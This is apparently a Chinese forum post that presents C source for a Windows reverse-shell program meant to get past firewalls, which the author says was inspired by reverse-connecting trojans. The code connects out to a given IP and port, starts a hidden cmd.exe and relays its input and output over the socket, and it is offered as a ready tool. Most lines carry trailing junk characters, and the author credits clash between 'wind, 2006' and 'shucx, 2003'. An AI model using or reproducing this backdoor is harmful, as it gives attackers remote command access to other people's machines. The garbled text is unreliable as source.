这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7U?x8%H*
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/* ============================== XL} oYL]}&
Rebound port in Windows NT =GnDiI
By wind,2006/7 q1NAKcA<U
===============================*/ RUO,tB|(_;
#include zbi[r
#include Du[$6
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#pragma comment(lib,"wsock32.lib") .D)'ZY
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void OutputShell(); Qy@chN{eP
SOCKET sClient; AX]lMe
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; wm8(Ju
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void main(int argc,char **argv) <A"}Krq?
{ nuKjp Ap!
WSADATA stWsaData; b.C!4^
int nRet; }v@w(*)h:
SOCKADDR_IN stSaiClient,stSaiServer; ;t"#7\
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if(argc != 3) v0=^Hym
{ R:i7Rb2C
printf("Useage:\n\rRebound DestIP DestPort\n"); )ZNH/9e/
return; '>2xP<ct!&
} mjS)*@F
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WSAStartup(MAKEWORD(2,2),&stWsaData); kQ{pFFO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; I&R4.;LW
stSaiClient.sin_port = htons(0); ha3 Qx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kF6X?mqgD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) XP6R$0yN
{ ]}KmT"vA
printf("Bind Socket Failed!\n"); l_+s$c
return; ddlLS
} eNN% %Q
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stSaiServer.sin_family = AF_INET; Tv~<W4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A[=)Zw
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S37Bl5W
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e)7[weGN
{ ,C(")?4aJ
printf("Connect Error!"); &``;1/J*W
return; cKFzn+
} ?sp
OutputShell(); S-'iOJ1]
}
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void OutputShell() ~A [ Ju%R
{ }UQBaqDH
char szBuff[1024]; [S-NGip
SECURITY_ATTRIBUTES stSecurityAttributes; rv:,Os_
OSVERSIONINFO stOsversionInfo; c?>Q!sC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d8dREhK&
STARTUPINFO stStartupInfo; :eei<cn2
char *szShell; e!G
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PROCESS_INFORMATION stProcessInformation; i&{8a3B
unsigned long lBytesRead; r`B8Cik
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8Z F Ps/HP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O2ety2}?f
stSecurityAttributes.lpSecurityDescriptor = 0; 4N*Fq!k~
stSecurityAttributes.bInheritHandle = TRUE; l|U=(aA]h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |giK]Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C03ehjT<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 552c4h/T
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EJb"/oLla
stStartupInfo.wShowWindow = SW_HIDE; Aj SIM.
stStartupInfo.hStdInput = hReadPipe; ~*THL0]~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,?<jue/bd
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GetVersionEx(&stOsversionInfo); o&fAnpia=
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switch(stOsversionInfo.dwPlatformId) r3_@ L>;
{ lNls8@
case 1: zSj.Y{J
szShell = "command.com"; _"##p
break; tjuW+5O
default: !$qNugLg
szShell = "cmd.exe"; p,$1%/m
break; {cq; SH
} :$dGcX}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); j?[fpN$
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send(sClient,szMsg,77,0); DJ[U^dWRn
while(1) }bAd@a9>3
{ vC&y:XMt,`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nPR_:_^
if(lBytesRead) <P(d%XEl
{ QYyF6ht=!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6wIv7@Y
send(sClient,szBuff,lBytesRead,0); kHm1aE<
} 9\R:J"X
else 2AzF@Pi^z
{ O&E1(M|*>
lBytesRead=recv(sClient,szBuff,1024,0); FFK79e/5
if(lBytesRead<=0) break; r-H~MisL
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Uk6Y6mU V
} 91jv=>=DM
} P/,7CfyPd
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return; VKS:d!}3E
}